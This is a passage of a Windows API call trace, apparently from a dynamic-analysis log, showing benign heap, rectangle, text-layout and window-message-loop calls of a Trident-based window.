[0171.464] IntersectRect (in: lprcDst=0x1ce574, lprcSrc1=0x1ce574, lprcSrc2=0x1ce42c | out: lprcDst=0x1ce574) returned 1
[0171.464] IntersectRect (in: lprcDst=0x1cf168, lprcSrc1=0x1cf168, lprcSrc2=0x1ce594 | out: lprcDst=0x1cf168) returned 1
[0171.464] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0171.464] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x24) returned 0x4b6cd8
[0171.464] IntersectRect (in: lprcDst=0x1cf168, lprcSrc1=0x1cf168, lprcSrc2=0x1ce5b4 | out: lprcDst=0x1cf168) returned 1
[0171.464] IntersectRect (in: lprcDst=0x1ce378, lprcSrc1=0x1ce378, lprcSrc2=0x1cf158 | out: lprcDst=0x1ce378) returned 1
[0171.464] IntersectRect (in: lprcDst=0x1ce378, lprcSrc1=0x1ce378, lprcSrc2=0x1cf158 | out: lprcDst=0x1ce378) returned 1
[0171.464] IntersectRect (in: lprcDst=0x1ce104, lprcSrc1=0x1ce104, lprcSrc2=0x1cdfbc | out: lprcDst=0x1ce104) returned 1
[0171.464] IntersectRect (in: lprcDst=0x1cf168, lprcSrc1=0x1cf168, lprcSrc2=0x1ce124 | out: lprcDst=0x1cf168) returned 1
[0171.464] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0171.464] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x24) returned 0x4b6d08
[0171.464] IntersectRect (in: lprcDst=0x1cf168, lprcSrc1=0x1cf168, lprcSrc2=0x1ce144 | out: lprcDst=0x1cf168) returned 1
[0171.464] IntersectRect (in: lprcDst=0x1cdf08, lprcSrc1=0x1cdf08, lprcSrc2=0x1cf158 | out: lprcDst=0x1cdf08) returned 1
[0171.464] IntersectRect (in: lprcDst=0x1cdf08, lprcSrc1=0x1cdf08, lprcSrc2=0x1cf158 | out: lprcDst=0x1cdf08) returned 1
[0171.464] IntersectRect (in: lprcDst=0x1cdd4c, lprcSrc1=0x1cdd4c, lprcSrc2=0x1cdbe8 | out: lprcDst=0x1cdd4c) returned 1
[0171.464] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0171.464] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x24) returned 0x508e20
[0171.464] IntersectRect (in: lprcDst=0x1cf168, lprcSrc1=0x1cf168, lprcSrc2=0x1cdd3c | out: lprcDst=0x1cf168) returned 1
[0171.464] IntersectRect (in: lprcDst=0x1cdbf8, lprcSrc1=0x1cdbf8, lprcSrc2=0x1cf158 | out: lprcDst=0x1cdbf8) returned 1
[0171.464] IntersectRect (in: lprcDst=0x1cf168, lprcSrc1=0x1cf168, lprcSrc2=0x1cdd5c | out: lprcDst=0x1cf168) returned 1
[0171.464] LsSetDoc () returned 0x0
[0171.464] LsCreateLine () returned 0x0
[0171.465] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0171.465] LsDestroyLine () returned 0x0
[0171.465] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0171.465] IntersectRect (in: lprcDst=0x1cdfc8, lprcSrc1=0x1cdfc8, lprcSrc2=0x1cf158 | out: lprcDst=0x1cdfc8) returned 1
[0171.465] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4b6d08 | out: hHeap=0x450000) returned 1
[0171.465] IntersectRect (in: lprcDst=0x1ce378, lprcSrc1=0x1ce378, lprcSrc2=0x1cf158 | out: lprcDst=0x1ce378) returned 1
[0171.465] IntersectRect (in: lprcDst=0x1ce378, lprcSrc1=0x1ce378, lprcSrc2=0x1cf158 | out: lprcDst=0x1ce378) returned 1
[0171.465] IntersectRect (in: lprcDst=0x1ce378, lprcSrc1=0x1ce378, lprcSrc2=0x1cf158 | out: lprcDst=0x1ce378) returned 1
[0171.465] IntersectRect (in: lprcDst=0x1ce378, lprcSrc1=0x1ce378, lprcSrc2=0x1cf158 | out: lprcDst=0x1ce378) returned 1
[0171.465] IntersectRect (in: lprcDst=0x1ce1bc, lprcSrc1=0x1ce1bc, lprcSrc2=0x1ce058 | out: lprcDst=0x1ce1bc) returned 1
[0171.465] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0171.465] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x24) returned 0x4b6d08
[0171.465] IntersectRect (in: lprcDst=0x1cf168, lprcSrc1=0x1cf168, lprcSrc2=0x1ce1ac | out: lprcDst=0x1cf168) returned 1
[0171.465] IntersectRect (in: lprcDst=0x1ce068, lprcSrc1=0x1ce068, lprcSrc2=0x1cf158 | out: lprcDst=0x1ce068) returned 1
[0171.465] IntersectRect (in: lprcDst=0x1cf168, lprcSrc1=0x1cf168, lprcSrc2=0x1ce1cc | out: lprcDst=0x1cf168) returned 1
[0171.466] LsSetDoc () returned 0x0
[0171.466] LsCreateLine () returned 0x0
[0171.466] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0171.466] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x18) returned 0x4bc520
[0171.466] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x10) returned 0x464950
[0171.466] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0171.466] LsdnFinishRegular () returned 0x0
[0171.466] LsQueryLinePointPcp () returned 0x0
[0171.467] LsDestroyLine () returned 0x0
[0171.467] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4bc520 | out: hHeap=0x450000) returned 1
[0171.467] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0171.467] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0171.467] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0171.467] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0171.467] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0171.467] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0171.467] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0171.467] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x464950 | out: hHeap=0x450000) returned 1
[0171.467] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4b6d08 | out: hHeap=0x450000) returned 1
[0171.467] IntersectRect (in: lprcDst=0x1ce438, lprcSrc1=0x1ce438, lprcSrc2=0x1cf158 | out: lprcDst=0x1ce438) returned 1
[0171.467] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4b6cd8 | out: hHeap=0x450000) returned 1
[0171.467] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4b6ca8 | out: hHeap=0x450000) returned 1
[0171.467] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4b6c78 | out: hHeap=0x450000) returned 1
[0171.467] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0171.467] ClientToScreen (in: hWnd=0x1013a, lpPoint=0x1cf3f4 | out: lpPoint=0x1cf3f4) returned 1
[0171.467] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0xf8) returned 0x4f52e8
[0171.467] GetCurrentThreadId () returned 0x4e0
[0171.468] CActiveIMMAppEx_Trident:IActiveIMMApp:OnDefWindowProc (in: This=0x492320, hWnd=0x1013a, msg=0x200, wParam=0x0, lParam=0x2bb0336, plResult=0x1cf4ec | out: plResult=0x1cf4ec) returned 0x1
[0171.468] NtdllDefWindowProc_W () returned 0x0
[0171.468] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4f52e8 | out: hHeap=0x450000) returned 1
[0171.468] GetMessageTime () returned 94926
[0171.468] GetMessagePos () returned 0x30b0370
[0171.468] GetCapture () returned 0x0
[0171.468] ClientToScreen (in: hWnd=0x1013a, lpPoint=0x1cf3f4 | out: lpPoint=0x1cf3f4) returned 1
[0171.468] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0xf8) returned 0x4f52e8
[0171.468] GetCurrentThreadId () returned 0x4e0
[0171.468] RtlReAllocateHeap (Heap=0x450000, Flags=0x0, Ptr=0x464950, Size=0x18) returned 0x4bc520
[0171.469] ClientToScreen (in: hWnd=0x1013a, lpPoint=0x1cf3f8 | out: lpPoint=0x1cf3f8) returned 1
[0171.469] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0xf8) returned 0x4f53e8
[0171.469] ClientToScreen (in: hWnd=0x1013a, lpPoint=0x1cf3f8 | out: lpPoint=0x1cf3f8) returned 1
[0171.469] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0xf8) returned 0x4f53e8
[0171.469] ClientToScreen (in: hWnd=0x1013a, lpPoint=0x1cf3f8 | out: lpPoint=0x1cf3f8) returned 1
[0171.469] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0xf8) returned 0x4f53e8
[0171.469] ClientToScreen (in: hWnd=0x1013a, lpPoint=0x1cf3f8 | out: lpPoint=0x1cf3f8) returned 1
[0171.469] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0xf8) returned 0x4f53e8
[0171.469] ClientToScreen (in: hWnd=0x1013a, lpPoint=0x1cf3f8 | out: lpPoint=0x1cf3f8) returned 1
[0171.469] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0xf8) returned 0x4f53e8
[0171.469] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4f53e8 | out: hHeap=0x450000) returned 1
[0171.469] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4bc520 | out: hHeap=0x450000) returned 1
[0171.470] CActiveIMMAppEx_Trident:IActiveIMMApp:OnDefWindowProc (in: This=0x492320, hWnd=0x1013a, msg=0x8004, wParam=0x0, lParam=0x2bb0336, plResult=0x1cf4ec | out: plResult=0x1cf4ec) returned 0x1
[0171.470] NtdllDefWindowProc_W () returned 0x0
[0171.470] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4f52e8 | out: hHeap=0x450000) returned 1
[0171.470] GetCurrentThreadId () returned 0x4e0
[0171.470] GetMessageW (in: lpMsg=0x1cf92c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cf92c) returned 1
[0171.470] TranslateMessage (lpMsg=0x1cf92c) returned 0
[0171.470] DispatchMessageW (lpMsg=0x1cf92c) returned 0x0
[0171.470] NtdllDefWindowProc_W () returned 0x0
[0171.470] GetMessageW (in: lpMsg=0x1cf92c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cf92c) returned 1
[0171.470] TranslateMessage (lpMsg=0x1cf92c) returned 0
[0171.470] DispatchMessageW (lpMsg=0x1cf92c) returned 0x0
[0171.470] GetCurrentThreadId () returned 0x4e0
[0171.470] GetCurrentThreadId () returned 0x4e0
[0171.470] GetCurrentThreadId () returned 0x4e0
[0171.470] GetMessageW (in: lpMsg=0x1cf92c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cf92c) returned 1
[0171.765] TranslateMessage (lpMsg=0x1cf92c) returned 0
[0171.765] DispatchMessageW (lpMsg=0x1cf92c) returned 0x0
[0171.765] GetCapture () returned 0x0
[0171.765] WindowFromPoint (Point=0x370) returned 0x1013a
[0171.765] GetWindowLongW (hWnd=0x1013a, nIndex=-21) returned 4728424
[0171.765] GetClientRect (in: hWnd=0x1013a, lpRect=0x1cf3f0 | out: lpRect=0x1cf3f0) returned 1
[0171.765] ScreenToClient (in: hWnd=0x1013a, lpPoint=0x1cf400 | out: lpPoint=0x1cf400) returned 1
[0171.765] PtInRect (lprc=0x1cf3f0, pt=0x336) returned 1
[0171.765] GetCurrentThreadId () returned 0x4e0
[0171.765] GetMessageW (in: lpMsg=0x1cf92c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cf92c) returned 1
[0172.077] TranslateMessage (lpMsg=0x1cf92c) returned 0
[0172.077] DispatchMessageW (lpMsg=0x1cf92c) returned 0x0
[0172.077] GetCapture () returned 0x0
[0172.077] WindowFromPoint (Point=0x370) returned 0x1013a
[0172.077] GetWindowLongW (hWnd=0x1013a, nIndex=-21) returned 4728424
[0172.077] GetClientRect (in: hWnd=0x1013a, lpRect=0x1cf3f0 | out: lpRect=0x1cf3f0) returned 1
[0172.077] ScreenToClient (in: hWnd=0x1013a, lpPoint=0x1cf400 | out: lpPoint=0x1cf400) returned 1
[0172.077] PtInRect (lprc=0x1cf3f0, pt=0x336) returned 1
[0172.077] GetCurrentThreadId () returned 0x4e0
[0172.077] GetMessageW (in: lpMsg=0x1cf92c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cf92c) returned 1
[0172.389] TranslateMessage (lpMsg=0x1cf92c) returned 0
[0172.389] DispatchMessageW (lpMsg=0x1cf92c) returned 0x0
[0172.389] GetCapture () returned 0x0
[0172.389] WindowFromPoint (Point=0x370) returned 0x1013a
[0172.389] GetWindowLongW (hWnd=0x1013a, nIndex=-21) returned 4728424
[0172.389] GetClientRect (in: hWnd=0x1013a, lpRect=0x1cf3f0 | out: lpRect=0x1cf3f0) returned 1
[0172.389] ScreenToClient (in: hWnd=0x1013a, lpPoint=0x1cf400 | out: lpPoint=0x1cf400) returned 1
[0172.389] PtInRect (lprc=0x1cf3f0, pt=0x336) returned 1
[0172.389] GetCurrentThreadId () returned 0x4e0
[0172.389] GetMessageW (in: lpMsg=0x1cf92c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cf92c) returned 1
[0172.701] TranslateMessage (lpMsg=0x1cf92c) returned 0
[0172.701] DispatchMessageW (lpMsg=0x1cf92c) returned 0x0
[0172.701] GetCapture () returned 0x0
[0172.701] WindowFromPoint (Point=0x370) returned 0x1013a
[0172.701] GetWindowLongW (hWnd=0x1013a, nIndex=-21) returned 4728424
[0172.701] GetClientRect (in: hWnd=0x1013a, lpRect=0x1cf3f0 | out: lpRect=0x1cf3f0) returned 1
[0172.701] ScreenToClient (in: hWnd=0x1013a, lpPoint=0x1cf400 | out: lpPoint=0x1cf400) returned 1
[0172.701] PtInRect (lprc=0x1cf3f0, pt=0x336) returned 1
[0172.701] GetCurrentThreadId () returned 0x4e0
[0172.701] GetMessageW (in: lpMsg=0x1cf92c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cf92c) returned 1
[0173.013] TranslateMessage (lpMsg=0x1cf92c) returned 0
[0173.013] DispatchMessageW (lpMsg=0x1cf92c) returned 0x0
[0173.013] GetCapture () returned 0x0
[0173.013] WindowFromPoint (Point=0x370) returned 0x1013a
[0173.013] GetWindowLongW (hWnd=0x1013a, nIndex=-21) returned 4728424
[0173.013] GetClientRect (in: hWnd=0x1013a, lpRect=0x1cf3f0 | out: lpRect=0x1cf3f0) returned 1
[0173.013] ScreenToClient (in: hWnd=0x1013a, lpPoint=0x1cf400 | out: lpPoint=0x1cf400) returned 1
[0173.013] PtInRect (lprc=0x1cf3f0, pt=0x336) returned 1
[0173.013] GetCurrentThreadId () returned 0x4e0
[0173.013] GetMessageW (in: lpMsg=0x1cf92c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cf92c) returned 1
[0173.325] TranslateMessage (lpMsg=0x1cf92c) returned 0
[0173.325] DispatchMessageW (lpMsg=0x1cf92c) returned 0x0
[0173.325] GetCapture () returned 0x0
[0173.325] WindowFromPoint (Point=0x370) returned 0x1013a
[0173.325] GetWindowLongW (hWnd=0x1013a, nIndex=-21) returned 4728424
[0173.325] GetClientRect (in: hWnd=0x1013a, lpRect=0x1cf3f0 | out: lpRect=0x1cf3f0) returned 1
[0173.325] ScreenToClient (in: hWnd=0x1013a, lpPoint=0x1cf400 | out: lpPoint=0x1cf400) returned 1
[0173.325] PtInRect (lprc=0x1cf3f0, pt=0x336) returned 1
[0173.325] GetCurrentThreadId () returned 0x4e0
[0173.325] GetMessageW (in: lpMsg=0x1cf92c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cf92c) returned 1
[0173.637] TranslateMessage (lpMsg=0x1cf92c) returned 0
[0173.637] DispatchMessageW (lpMsg=0x1cf92c) returned 0x0
[0173.637] GetCapture () returned 0x0
[0173.637] WindowFromPoint (Point=0x370) returned 0x1013a
[0173.637] GetWindowLongW (hWnd=0x1013a, nIndex=-21) returned 4728424
[0173.637] GetClientRect (in: hWnd=0x1013a, lpRect=0x1cf3f0 | out: lpRect=0x1cf3f0) returned 1
[0173.637] ScreenToClient (in: hWnd=0x1013a, lpPoint=0x1cf400 | out: lpPoint=0x1cf400) returned 1
[0173.637] PtInRect (lprc=0x1cf3f0, pt=0x336) returned 1
[0173.637] GetCurrentThreadId () returned 0x4e0
[0173.637] GetMessageW (in: lpMsg=0x1cf92c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cf92c) returned 1
[0173.949] TranslateMessage (lpMsg=0x1cf92c) returned 0
[0173.949] DispatchMessageW (lpMsg=0x1cf92c) returned 0x0
[0173.949] GetCapture () returned 0x0
[0173.949] WindowFromPoint (Point=0x370) returned 0x1013a
[0173.949] GetWindowLongW (hWnd=0x1013a, nIndex=-21) returned 4728424
[0173.949] GetClientRect (in: hWnd=0x1013a, lpRect=0x1cf3f0 | out: lpRect=0x1cf3f0) returned 1
[0173.949] ScreenToClient (in: hWnd=0x1013a, lpPoint=0x1cf400 | out: lpPoint=0x1cf400) returned 1
[0173.949] PtInRect (lprc=0x1cf3f0, pt=0x336) returned 1
[0173.949] GetCurrentThreadId () returned 0x4e0
[0173.949] GetMessageW (in: lpMsg=0x1cf92c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cf92c) returned 1
[0174.261] TranslateMessage (lpMsg=0x1cf92c) returned 0
[0174.261] DispatchMessageW (lpMsg=0x1cf92c) returned 0x0
[0174.261] GetCapture () returned 0x0
[0174.261] WindowFromPoint (Point=0x370) returned 0x1013a
[0174.261] GetWindowLongW (hWnd=0x1013a, nIndex=-21) returned 4728424
[0174.261] GetClientRect (in: hWnd=0x1013a, lpRect=0x1cf3f0 | out: lpRect=0x1cf3f0) returned 1
[0174.261] ScreenToClient (in: hWnd=0x1013a, lpPoint=0x1cf400 | out: lpPoint=0x1cf400) returned 1
[0174.261] PtInRect (lprc=0x1cf3f0, pt=0x336) returned 1
[0174.261] GetCurrentThreadId () returned 0x4e0
[0174.261] GetMessageW (in: lpMsg=0x1cf92c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cf92c) returned 1
[0174.573] TranslateMessage (lpMsg=0x1cf92c) returned 0
[0174.573] DispatchMessageW (lpMsg=0x1cf92c) returned 0x0
[0174.573] GetCapture () returned 0x0
[0174.573] WindowFromPoint (Point=0x370) returned 0x1013a
[0174.573] GetWindowLongW (hWnd=0x1013a, nIndex=-21) returned 4728424
[0174.573] GetClientRect (in: hWnd=0x1013a, lpRect=0x1cf3f0 | out: lpRect=0x1cf3f0) returned 1
[0174.573] ScreenToClient (in: hWnd=0x1013a, lpPoint=0x1cf400 | out: lpPoint=0x1cf400) returned 1
[0174.573] PtInRect (lprc=0x1cf3f0, pt=0x336) returned 1
[0174.573] GetCurrentThreadId () returned 0x4e0
[0174.573] GetMessageW (in: lpMsg=0x1cf92c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cf92c) returned 1
[0174.885] TranslateMessage (lpMsg=0x1cf92c) returned 0
[0174.885] DispatchMessageW (lpMsg=0x1cf92c) returned 0x0
[0174.885] GetCapture () returned 0x0
[0174.885] WindowFromPoint (Point=0x370) returned 0x1013a
[0174.885] GetWindowLongW (hWnd=0x1013a, nIndex=-21) returned 4728424
[0174.885] GetClientRect (in: hWnd=0x1013a, lpRect=0x1cf3f0 | out: lpRect=0x1cf3f0) returned 1
[0174.885] ScreenToClient (in: hWnd=0x1013a, lpPoint=0x1cf400 | out: lpPoint=0x1cf400) returned 1
[0174.885] PtInRect (lprc=0x1cf3f0, pt=0x336) returned 1
[0174.885] GetCurrentThreadId () returned 0x4e0
[0174.885] GetMessageW (in: lpMsg=0x1cf92c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cf92c) returned 1
[0175.197] TranslateMessage (lpMsg=0x1cf92c) returned 0
[0175.197] DispatchMessageW (lpMsg=0x1cf92c) returned 0x0
[0175.197] GetCapture () returned 0x0
[0175.197] WindowFromPoint (Point=0x370) returned 0x1013a
[0175.197] GetWindowLongW (hWnd=0x1013a, nIndex=-21) returned 4728424
[0175.197] GetClientRect (in: hWnd=0x1013a, lpRect=0x1cf3f0 | out: lpRect=0x1cf3f0) returned 1
[0175.197] ScreenToClient (in: hWnd=0x1013a, lpPoint=0x1cf400 | out: lpPoint=0x1cf400) returned 1
[0175.197] PtInRect (lprc=0x1cf3f0, pt=0x336) returned 1
[0175.197] GetCurrentThreadId () returned 0x4e0
[0175.197] GetMessageW (in: lpMsg=0x1cf92c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cf92c) returned 1
[0175.509] TranslateMessage (lpMsg=0x1cf92c) returned 0
[0175.509] DispatchMessageW (lpMsg=0x1cf92c) returned 0x0
[0175.509] GetCapture () returned 0x0
[0175.509] WindowFromPoint (Point=0x370) returned 0x1013a
[0175.509] GetWindowLongW (hWnd=0x1013a, nIndex=-21) returned 4728424
[0175.509] GetClientRect (in: hWnd=0x1013a, lpRect=0x1cf3f0 | out: lpRect=0x1cf3f0) returned 1
[0175.509] ScreenToClient (in: hWnd=0x1013a, lpPoint=0x1cf400 | out: lpPoint=0x1cf400) returned 1
[0175.509] PtInRect (lprc=0x1cf3f0, pt=0x336) returned 1
[0175.509] GetCurrentThreadId () returned 0x4e0
[0175.509] GetMessageW (in: lpMsg=0x1cf92c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cf92c) returned 1
[0175.821] TranslateMessage (lpMsg=0x1cf92c) returned 0
[0175.821] DispatchMessageW (lpMsg=0x1cf92c) returned 0x0
[0175.821] GetCapture () returned 0x0
[0175.821] WindowFromPoint (Point=0x370) returned 0x1013a
[0175.821] GetWindowLongW (hWnd=0x1013a, nIndex=-21) returned 4728424
[0175.821] GetClientRect (in: hWnd=0x1013a, lpRect=0x1cf3f0 | out: lpRect=0x1cf3f0) returned 1
[0175.821] ScreenToClient (in: hWnd=0x1013a, lpPoint=0x1cf400 | out: lpPoint=0x1cf400) returned 1
[0175.821] PtInRect (lprc=0x1cf3f0, pt=0x336) returned 1
[0175.821] GetCurrentThreadId () returned 0x4e0
[0175.821] GetMessageW (in: lpMsg=0x1cf92c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cf92c) returned 1
[0176.133] TranslateMessage (lpMsg=0x1cf92c) returned 0
[0176.133] DispatchMessageW (lpMsg=0x1cf92c) returned 0x0
[0176.133] GetCapture () returned 0x0
[0176.133] WindowFromPoint (Point=0x370) returned 0x1013a
[0176.133] GetWindowLongW (hWnd=0x1013a, nIndex=-21) returned 4728424
[0176.133] GetClientRect (in: hWnd=0x1013a, lpRect=0x1cf3f0 | out: lpRect=0x1cf3f0) returned 1
[0176.133] ScreenToClient (in: hWnd=0x1013a, lpPoint=0x1cf400 | out: lpPoint=0x1cf400) returned 1
[0176.133] PtInRect (lprc=0x1cf3f0, pt=0x336) returned 1
[0176.133] GetCurrentThreadId () returned 0x4e0
[0176.133] GetMessageW (in: lpMsg=0x1cf92c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cf92c) returned 1
[0176.445] TranslateMessage (lpMsg=0x1cf92c) returned 0
[0176.445] DispatchMessageW (lpMsg=0x1cf92c) returned 0x0
[0176.445] GetCapture () returned 0x0
[0176.445] WindowFromPoint (Point=0x370) returned 0x1013a
[0176.445] GetWindowLongW (hWnd=0x1013a, nIndex=-21) returned 4728424
[0176.445] GetClientRect (in: hWnd=0x1013a, lpRect=0x1cf3f0 | out: lpRect=0x1cf3f0) returned 1
[0176.445] ScreenToClient (in: hWnd=0x1013a, lpPoint=0x1cf400 | out: lpPoint=0x1cf400) returned 1
[0176.446] PtInRect (lprc=0x1cf3f0, pt=0x336) returned 1
[0176.446] GetCurrentThreadId () returned 0x4e0
[0176.446] GetMessageW (in: lpMsg=0x1cf92c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cf92c) returned 1
[0176.757] TranslateMessage (lpMsg=0x1cf92c) returned 0
[0176.757] DispatchMessageW (lpMsg=0x1cf92c) returned 0x0
[0176.757] GetCapture () returned 0x0
[0176.757] WindowFromPoint (Point=0x370) returned 0x1013a
[0176.757] GetWindowLongW (hWnd=0x1013a, nIndex=-21) returned 4728424
[0176.757] GetClientRect (in: hWnd=0x1013a, lpRect=0x1cf3f0 | out: lpRect=0x1cf3f0) returned 1
[0176.757] ScreenToClient (in: hWnd=0x1013a, lpPoint=0x1cf400 | out: lpPoint=0x1cf400) returned 1
[0176.757] PtInRect (lprc=0x1cf3f0, pt=0x336) returned 1
[0176.757] GetCurrentThreadId () returned 0x4e0
[0176.757] GetMessageW (in: lpMsg=0x1cf92c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cf92c) returned 1
[0177.069] TranslateMessage (lpMsg=0x1cf92c) returned 0
[0177.069] DispatchMessageW (lpMsg=0x1cf92c) returned 0x0
[0177.069] GetCapture () returned 0x0
[0177.069] WindowFromPoint (Point=0x370) returned 0x1013a
[0177.069] GetWindowLongW (hWnd=0x1013a, nIndex=-21) returned 4728424
[0177.069] GetClientRect (in: hWnd=0x1013a, lpRect=0x1cf3f0 | out: lpRect=0x1cf3f0) returned 1
[0177.069] ScreenToClient (in: hWnd=0x1013a, lpPoint=0x1cf400 | out: lpPoint=0x1cf400) returned 1
[0177.069] PtInRect (lprc=0x1cf3f0, pt=0x336) returned 1
[0177.069] GetCurrentThreadId () returned 0x4e0
[0177.069] GetMessageW (in: lpMsg=0x1cf92c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cf92c) returned 1
[0177.381] TranslateMessage (lpMsg=0x1cf92c) returned 0
[0177.381] DispatchMessageW (lpMsg=0x1cf92c) returned 0x0
[0177.381] GetCapture () returned 0x0
[0177.381] WindowFromPoint (Point=0x370) returned 0x1013a
[0177.381] GetWindowLongW (hWnd=0x1013a, nIndex=-21) returned 4728424
[0177.381] GetClientRect (in: hWnd=0x1013a, lpRect=0x1cf3f0 | out: lpRect=0x1cf3f0) returned 1
[0177.381] ScreenToClient (in: hWnd=0x1013a, lpPoint=0x1cf400 | out: lpPoint=0x1cf400) returned 1
[0177.381] PtInRect (lprc=0x1cf3f0, pt=0x336) returned 1
[0177.381] GetCurrentThreadId () returned 0x4e0
[0177.381] GetMessageW (in: lpMsg=0x1cf92c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cf92c) returned 1
[0177.693] TranslateMessage (lpMsg=0x1cf92c) returned 0
[0177.693] DispatchMessageW (lpMsg=0x1cf92c) returned 0x0
[0177.693] GetCapture () returned 0x0
[0177.693] WindowFromPoint (Point=0x370) returned 0x1013a
[0177.693] GetWindowLongW (hWnd=0x1013a, nIndex=-21) returned 4728424
[0177.693] GetClientRect (in: hWnd=0x1013a, lpRect=0x1cf3f0 | out: lpRect=0x1cf3f0) returned 1
[0177.693] ScreenToClient (in: hWnd=0x1013a, lpPoint=0x1cf400 | out: lpPoint=0x1cf400) returned 1
[0177.693] PtInRect (lprc=0x1cf3f0, pt=0x336) returned 1
[0177.693] GetCurrentThreadId () returned 0x4e0
[0177.693] GetMessageW (in: lpMsg=0x1cf92c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cf92c) returned 1
[0178.007] TranslateMessage (lpMsg=0x1cf92c) returned 0
[0178.007] DispatchMessageW (lpMsg=0x1cf92c) returned 0x0
[0178.007] GetCapture () returned 0x0
[0178.008] WindowFromPoint (Point=0x370) returned 0x1013a
[0178.008] GetWindowLongW (hWnd=0x1013a, nIndex=-21) returned 4728424
[0178.008] GetClientRect (in: hWnd=0x1013a, lpRect=0x1cf3f0 | out: lpRect=0x1cf3f0) returned 1
[0178.008] ScreenToClient (in: hWnd=0x1013a, lpPoint=0x1cf400 | out: lpPoint=0x1cf400) returned 1
[0178.008] PtInRect (lprc=0x1cf3f0, pt=0x336) returned 1
